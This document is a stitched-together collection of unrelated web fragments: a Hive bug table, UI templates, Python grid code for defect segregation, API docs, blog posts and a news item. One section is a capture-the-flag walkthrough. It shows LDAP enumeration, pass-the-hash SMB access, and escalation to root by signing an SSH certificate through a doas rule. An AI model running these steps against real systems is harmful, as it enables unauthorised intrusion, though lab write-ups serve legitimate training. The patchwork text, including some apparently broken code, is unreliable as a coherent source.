| HIVE-14483 |
java.lang.ArrayIndexOutOfBoundsException org.apache.orc.impl.TreeReaderFactory$BytesColumnVectorUtil.commonReadByteArrays |
Critical |
ORC |
Sergey Zadoroshnyak |
Sergey Zadoroshnyak |
| HIVE-14480 |
ORC ETLSplitStrategy should use thread pool when computing splits |
Minor |
. |
Rajesh Balamohan |
Rajesh Balamohan |
| HIVE-14566 |
LLAP IO reads timestamp wrongly |
Critical |
llap |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-14563 |
StatsOptimizer treats NULL in a wrong way |
Major |
. |
Pengcheng Xiong |
Pengcheng Xiong |
| HIVE-14435 |
Vectorization: missed vectorization for const varchar() |
Major |
Vectorization |
Gopal V |
Gopal V |
| HIVE-13874 |
Tighten up EOF checking in Fast DeserializeRead classes; display better exception information; add new Unit Tests |
Critical |
Hive |
Matt McCline |
Matt McCline |
| HIVE-14600 |
LLAP zookeeper registry failures do not fail the daemon |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-14446 |
Add switch to control BloomFilter in Hybrid grace hash join and make the FPP adjustable |
Major |
Hive |
Wei Zheng |
Wei Zheng |
| HIVE-14619 |
CASE folding can produce wrong expression |
Critical |
CBO |
Jesus Camacho Rodriguez |
Jesus Camacho Rodriguez |
| HIVE-14621 |
LLAP: memory.mode = none has NPE |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-14418 |
Hive config validation prevents unsetting the settings |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-13610 |
Hive exec module won't compile with IBM JDK |
Major |
. |
Pan Yuxuan |
Pan Yuxuan |
| HIVE-14674 |
Incorrect syntax near the keyword 'with' using MS SQL Server |
Critical |
Metastore, Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14652 |
incorrect results for not in on partition columns |
Blocker |
. |
stephen sprague |
Sergey Shelukhin |
| HIVE-14530 |
Union All query returns incorrect results |
Major |
Query Planning |
wenhe li |
Jesus Camacho Rodriguez |
| HIVE-14697 |
Can not access kerberized HS2 Web UI |
Major |
Web UI |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-14608 |
LLAP: slow scheduling due to LlapTaskScheduler not removing nodes on kill |
Critical |
. |
Sergey Shelukhin |
Sergey Shelukhin |


Employment Buddy
Logout
No Response
0
Phone Screen
0
Interviews
0
Offers
0
Rejected
0
Total Applied
0
Add New Job
Applied Jobs
Phone Screen
Interviews
Offers
Rejected
New Job Details
Company:
Job Title:


import numpy as np
import math
from project.constants import boltzmann_eV
from bisect import bisect_left
from scipy.interpolate import griddata
[docs]def phi_at_x( phi, coordinates, x ):
"""
Assigns each site x coordinate a grid point and returns the electrostatic potential at the grid point clostest to the x coordinate.
Args:
phi (np.array): electrostatic potential on 1D grid.
coordinates (np.array): 1D grid of ordered numbers over a region.
x (float): Site x coordinate.
Returns:
phi[index] (float): The electrostatic potential at the x coordinate with position [index].
"""
index = index_of_grid_at_x( coordinates, x )
return phi[ index ]
[docs]def energy_at_x( energy, coordinates, x ):
"""
Assigns each site x coordinate a grid point and returns the segregation energy at the grid point clostest to the x coordinate.
Args:
energy (np.array): Segregation energies on 1D grid.
coordinates (np.array): 1D grid of ordered numbers over a region.
x (float): Site x coordinate.
Returns:
energy[index] (float): The segregation energy at the x coordinate with position [index].
"""
index = index_of_grid_at_x( coordinates, x )
return energy[ index ]
[docs]def index_of_grid_at_x( coordinates, x ):
"""
Assigns each site x coordinate to a position on a regularly or irregularly spaced grid.
Returns the index of the grid point clostest to the value x
Args:
coordinates (np.array): 1D grid of ordered numbers over a region.
x (float): Site x coordinate
Returns:
closest_index (int): Index of grid position closest to the site x coordinate.
"""
return closest_index( coordinates, x )
[docs]def closest_index(myList, myNumber):
"""
Assumes myList is sorted. Returns index of closest value to myNumber.
If two numbers are equally close, return the index of the smallest number.
Args:
myList (list): List of numbers to compare against. This should be sorted.
myNumber (float): The number to compare against myList.
Returns:
pos (int): Index of position of number in myList which is closest to myNumber.
"""
pos = bisect_left(myList, myNumber)
if pos == 0:
return 0
if pos == len(myList):
return (len(myList) - 1)
before = myList[pos - 1]
after = myList[pos]
if after - myNumber < myNumber - before:
return pos
else:
return pos - 1
[docs]def delta_x_from_grid( coordinates, limits ):
"""
Calculates the distance between the midpoints of each consecutive site. Inserts the calculated distance to the next grid point outside of the calculation region to the first and last position as the delta_x value for the endmost sites.
Args:
coordinates (np.array): 1D grid of ordered numbers over a region.
limits (list): Distance between the midpoint of the endmost sites and the midpoint of the repective site outside of the calculation region.
Returns:
delta_x (np.array): Distance between the midpoints of each consecutive site.
"""
delta_x = np.zeros_like( coordinates )
delta_x = ( coordinates[2:] - coordinates[:-2] ) / 2.0
delta_x = np.insert( delta_x, 0, limits[0] )
delta_x = np.insert( delta_x, len(delta_x), limits[1] )
return delta_x
[docs]class Grid_Point:
""" The Grid_Point class contains the information and calculations for each grid point individually """
def __init__( self, x, volume ):
"""
x (float): x coordinate of grid point.
volume (float): volume of site at grid point.
sites (list): defect sites at grid point.
"""
self.x = x
self.volume = volume
self.sites = []
[docs] def average_site_energy( self, method = 'mean' ):
"""
Returns the average segregation energy for all sites based on a specified method
Args:
method (str): The method in which the average segregation energies will be calculated.
'mean' - Returns the sum of all values at that site divided by the number of values at that site.
'min' - Returns the minimum segregation energy value for that site (appropriate for low temperature calculations).
Returns:
average site energies (np.array): Average segregation energies on a 1D grid.
"""
if self.sites:
return avg( np.array( [ s.energies() for s in self.sites ] ), method )
else:
return [None]
[docs]def avg( energies, method = 'mean' ):
"""
Returns the average segregation energy for a site based on a specified method
Args:
energies (np.array): Segregation energies on 1D grid.
method (str): The method in which the average segregation energies will be calculated.
'mean' - Returns the sum of all values at that site divided by the number of values at that site.
'min' - Returns the minimum segregation energy value for that site (appropriate for low temperature calculations).
Returns:
average site energies (np.array): Average segregation energies on a 1D grid.
"""
if method == 'mean':
return [ np.mean( row ) for row in energies.T ]
elif method == 'min':
return [ np.min( row ) for row in energies.T ]
else:
raise ValueError( "method: {}".format( method ) )
[docs]class Grid:
def __init__( self, x_coordinates, b, c, limits, limits_for_laplacian, set_of_sites ):
# x_coordinates need to be sorted for the delta_x calculation in volumes_from_grid
"""
Grid objects contain information and methods for the calculation grid.
Args:
delta_x (np.array): Distance between the midpoint of each consecutive grid point.
volumes (np.array): Volume of each consecutive grid point.
points (list): Grid_Point object at each grid point in Grid.
x (np.array): The x-coordinates for each grid point.
limits(list): distance between the midpoint of the endmost sites and the midpoint of the next site outside of the calculation region for the first and last sites respectively.
limits_for_laplacian(list): distance between the endmost sites and the next site outside of the calculation region for the first and last sites respectively.
b (float): b dimension for every grid-point.
c (float): c dimension for every grid-point.
limits ([float,float]) x-coordinates for the minimum and maximum grid edges.
set_of_sites (object): Set of Site objects that populate the Grid.
defect_Species (list): Defect species that populate the Grid.
Returns:
None
"""
self.delta_x = delta_x_from_grid( x_coordinates, limits )
self.volumes = self.delta_x * b * c
self.points = [ Grid_Point( x, v ) for x, v in zip( x_coordinates, self.volumes ) ]
self.x = x_coordinates
self.limits = limits
self.limits_for_laplacian = limits_for_laplacian
self.b = b
self.c = c
self.set_of_sites = set_of_sites
self.defect_species = []
for site in set_of_sites:
i = index_of_grid_at_x( self.x, site.x )
self.points[ i ].sites.append( site )
site.grid_point = self.points[i]
for defect_species in site.defect_species:
if defect_species not in self.defect_species:
self.defect_species.append( defect_species )
def __getitem__( self, key ):
return self.points[ key ]
[docs] def charge( self, phi, temp ):
"""
Calculates the overall charge at each point on a grid.
Args:
phi (np.array): Electrostatic potential on a 1D grid.
temp (float): Temperature of calculation.
Returns:
charge (np.array): Overall charge at each point on a 1D grid.
"""
charge = np.zeros_like( self.x )
for i, point in enumerate( self ):
charge[ i ] = sum( [ site.charge( phi_at_x( phi, self.x, site.x ), temp ) for site in point.sites ] )
return charge
[docs] def rho( self, phi, temp ):
"""
Calculates charge density at each point on a grid, by dividing the overall charge at that grid point by the grid point volume.
Args:
phi (np.array): Electrostatic potential on a 1D grid.
temp (float): Temperature of calculation.
Returns:
rho (np.array): The charge density at each point on a grid.
"""
rho = np.zeros_like( self.x )
rho = self.charge( phi, temp) / self.volumes
return rho
[docs] def defect_valences( self ):
"""
Returns:
(np.array): Valences for each defect from self.defects
"""
for site in self.points.sites:
return np.array( [ d.valence for d in site.defects ] )
[docs] def average_site_energies( self, method = 'mean' ):
"""
Returns the average segregation energy for all grid points based on a specified method
Args:
method (str): The method in which the average segregation energies will be calculated.
'mean' - Returns the sum of all values at that site divided by the number of values at that site.
'min' - Returns the minimum segregation energy value for that site (appropriate for low temperature calculations).
Returns:
average site energies (np.array): Average segregation energies on a 1D grid.
"""
return np.array( [ p.average_site_energy( method ) for p in self.points ] ).T
[docs] def interpolated_energies( self ):
"""
Returns:
(list): The average site energies linearly interpolated onto a regularly spaced grid
"""
energies = []
for row in self.average_site_energies():
x_new, e_new = np.array( [ ( x, e ) for x, e in zip( self.x, row ) if e ] ).T
interpolated_energies = griddata( x_new, e_new, self.x, fill_value = 0.0 )
energies.append( interpolated_energies )
[docs] def subgrid( self, subset_species ):
"""
Creates a subgrid for each species.
Args:
subset_species (str): Site species to separate into subgrid.
Returns:
(obj): Grid object for subset of data.
"""
return Grid.grid_from_set_of_sites( self.set_of_sites.subset(subset_species), self.limits, self.limits_for_laplacian, self.b, self.c )
[docs] @classmethod
def grid_from_set_of_sites( cls, set_of_sites, limits, limits_for_laplacian, b, c ):
"""
Creates a grid from a given Set_of_Sites object.
Args:
set_of_sites(obj): Set_of_Sites object containing a set of all Site objects.
limits(list): distance between the midpoint of the endmost sites and the midpoint of the next site outside of the calculation region for the first and last sites respectively.
limits_for_laplacian(list): distance between the endmost sites and the next site outside of the calculation region for the first and last sites respectively.
b (float): b dimension for every grid-point.
c (float): c dimension for every grid-point.
"""
return cls( np.unique( [ site.x for site in set_of_sites ] ), b, c, limits, limits_for_laplacian, set_of_sites )


--- layout: post title: RainStor Runs Its Database Natively on Hadoop date: '2012-01-17T06:13:39-08:00' tags: tumblr_url: http://alexhwilliams.tumblr.com/post/16006508691/rainstor-runs-its-database-natively-on-hadoop ---
http://bit.ly/yN23w7


Can see in enum version port 80, OpenBSD httpd. OpenSSH 7.7 to fingerprint OpenBSD version
LDAP anonymous bind
Finding the Base DN for LDAP using ldap-rootdse.nse and ldap-search.nse nmap script
By default, we analyze that ldap search scope is the 'wholeSubtree' and not the 'base'. This is why nmap is able to get information by default, but ldapsearch needs it to be specified. Additionally, once connected with 'base', objects need to be filtered in order to return results. This can be done with namingcontexts.
ldapsearch -x -h <HOST> -s base namingcontexts
Finally, just update the base dn and you can use ldapsearch
ldapsearch -x -h <HOST> -b 'dc=hackthebox,dn=htb' if you feel like specifying, you can '-s sub' for wholeSubtree
We find a password/hash and username
Can paste the NTLM hash twice if you don't want to type or find the blank LM hash for formatting
# smbmap -u alice1978 -p 'hash:hash' -H <HOST> -R -R will recurse list shares
PuTTY ssh key
Can import into PuTTY or work with it by installing: apt install putty-tools
# puttygen *.ppk -O private-openssh -o ssh.pem
user.txt access as alice
On to root!
doas is a BSD alternative to sudo. Check /etc/doas.conf for a list of what can be run
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
Go back to the webserver and check /etc/httpd.conf to see what's there
/userca
/sshauth
fastcgi socket "/run/wsgi/sshauthd.socket"
ps aux, we can see /usr/local/bin/uwsgi --daemonize /var/log/sshauthd --uid appsrv --ini /var/appsrv, so some configs/logs to check out
in /etc/ssh/sshd_config
AuthorizedKeysCommand /usr/local/bin/curl http://<IP_ADDRESS>/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody
TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://<IP_ADDRESS>/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody
type=keys gives the public key for a user
type=principals, loop through all users (getent passwd), and we see root:3m3rgencyB4ckd00r
We are allowed to create keys as userca via doas and sign it with the CA so it will be valid when it's checked for auth. -n is the principal name it will be tied to
$ doas -u userca ssh-keygen -s /home/userca/ca -n 3m3rgencyB4ckd00r -I PleaseSubscribe root
Signed user key root-cert.pub: id "PleaseSubscribe" serial 0 for 3m3rgencyB4ckd00r valid forever
$ ssh -i root root@localhost
# whoami
root


robosquirt
-
2 hoursEstimated time to next watering
-
{{ forecast_label }} in {{ user_settings.location.name }}
-
{{ gallons_used|floatformat:"0" }} gal.Water used in the last 5 days


A facade to mongodb driver
Parameters:
| Name | Type | Description |
|---|---|---|
db |
- Source:
Returns:
a new instance of CollectionDriver
Methods
-
delete(collectionName, entityId, callback)
-
Deletes a specific object from the collection
Parameters:
Name Type Description collectionName
entityId
callback
- Source:
-
findAll(collectionName, callback)
-
Returns all the objects found in the collection
Parameters:
Name Type Description collectionName
callback
- Source:
-
get(collectionName, id, callback)
-
This filters the fetched collection based on id and returns the single row
Parameters:
Name Type Description collectionName
id
id to search for in the fetched collection callback
- Source:
-
getCollection(collectionName, callback)
-
fetch a collection from mongodb
Parameters:
Name Type Description collectionName
name of the collection callback
call back to be executed once fetched - Source:
-
save(collectionName, obj, callback)
-
Saves the passed in project object to the mongodb database
Parameters:
Name Type Description collectionName
The name of the collection to save. obj
the object that needs to be saved as part of the collection. callback
that is executed when the data is saved successfully. - Source:
-
shutdown()
-
close the passed in db instance
- Source:
-
update(collectionName, obj, entityId, callback)
-
Update the passed in collection based on the object id for the collection
Parameters:
Name Type Description collectionName
obj
entityId
callback
- Source:


Video name
Content of the first view.
Channel name
Home
Videos
Playlist
Community
Content of the second view.


To Do
Here are some things you need to work on
-
{{todo.name}} {{todo.id}}
Success!!!! {{r | json}}
This is always here
LOADING
FAILURE {{error | json}}
EMPTY
SUCCESS {{data | json}}
This is always here as well
Success: You can repeat the directive {{todo | json}}
Loading!!!!
Empty!!!!
Failure!!!!


Adding a giscus comment section?
On the one hand, I am using this post to try out giscus comments. On the other hand, I’m not sure I want to enable comments at all. Despite my hands, I’m trying it anyway.
I’m also new to github discussions, which seems pretty useful. Apparently, I need to enable this for a repo, and it becomes possible to use giscus on a quarto web page like this one. I’ll be following the quarto documentation on using giscus here: https://quarto.org/docs/output-formats/html-basics.html#commenting.
Achievement unlocked!
Then I need to add some bits to the yaml of this post…then install giscus…hmmm, this part… I can feel time slowing down.
https://github.com/giscus/giscus
After more googling and scanning blog posts about doing this, it appears the repo with discussions enabled for the comments could be any public repo. I like this approach better.
[x] - made a new repo crumplab_comments
[x] - installed giscus app
This was my first time installing a github app. Took half a sec to figure out where the instructions were… the link’s in the readme under giscus app:
https://github.com/apps/giscus
There are configuration options, but it might work without them. I should try to render this page and see what happens. Seems to work…very nice.
Testing…
I’m going to push this post online, then see if I can add a comment. Then I’m going to add the giscus comment option to a different post and add a comment there. I’m hoping this will be a very smooth way to have comments on some posts and not others.
If all goes well I’ll come back here and recap the steps, which turned out to be easier than I thought they would be 🤞.
Well, I’m impressed. It was a snap to add comments to another post. The comments show up as different threads in the discussion section of the repo I made just for the comments:
I think I’m getting email alerts from the giscus bot and I’ll need to quash that. Otherwise, seems like a decent option that I may use once in a while.
Recap of steps
These are the steps I took to add giscus comments to the bottom of my blog posts. I’m publishing this blog using quarto.
- Create a new public repository
- The giscus app will need permissions to write to the repo. I figured it would be safer to have a repo dedicated to comments, rather than enable discussions and write permissions to the main repo for my whole lab website
- Enable discussions for the repo.
- Install the giscus app for the repo
- Add the following yaml to individual posts where you want to enable giscus comments:
comments:
giscus:
repo: gituser/gitrepo
- See more options from the quarto documentation
That’s it.


Typescript algorithms and Data Structures
npm i @pencroff/ts-algorithms --save
The package doesn't provide any common exports. All required imports should be per item. For example:
import { genericComparator } from '@pencroff/ts-algorithms/dist/primitive/comparator'
const res = genericComparator('A', 'B'); // returns -1, check primitives for details
Big O notation is used in computer science to describe the performance or complexity of an algorithm.
source: www.bigocheatsheet.com
Big O can be used for measuring time complexity or space / memory complexity.
References:


Man, 50s, arrested on suspicion of murder following death in Cloverhill Prison
by By Digital Desk staffGardaí have arrested a man in connection with the death of another man in Cloverhill Prison yesterday.
Emergency services were called to the scene at around midnight following an incident between two inmates.
The man, who is in his 50s, was arrested at Cloverhill Prison on suspicion of murder.
He is being questioned at Clondalkin Garda Station under Section 4 of the Criminal Justice Act 1984.
It follows the death of a man in his late 30s at the prison in the early hours of yesterday morning, while a second man received minor injuries.
The Irish Prison Service has launched and investigation, and has stressed that all practicable measures are taken by prison management and staff to ensure the safety of those in custody.
However, the IPS did acknowledge that no prison system can be completely free of violence and inter prisoner assaults do occur.
A post-mortem was completed on the man's body yesterday by State Pathologist Doctor Margaret Bolster.
The results will not be released for operational reasons.
READ MORE
€230k of structural work needed at Leinster House to fit €800k printer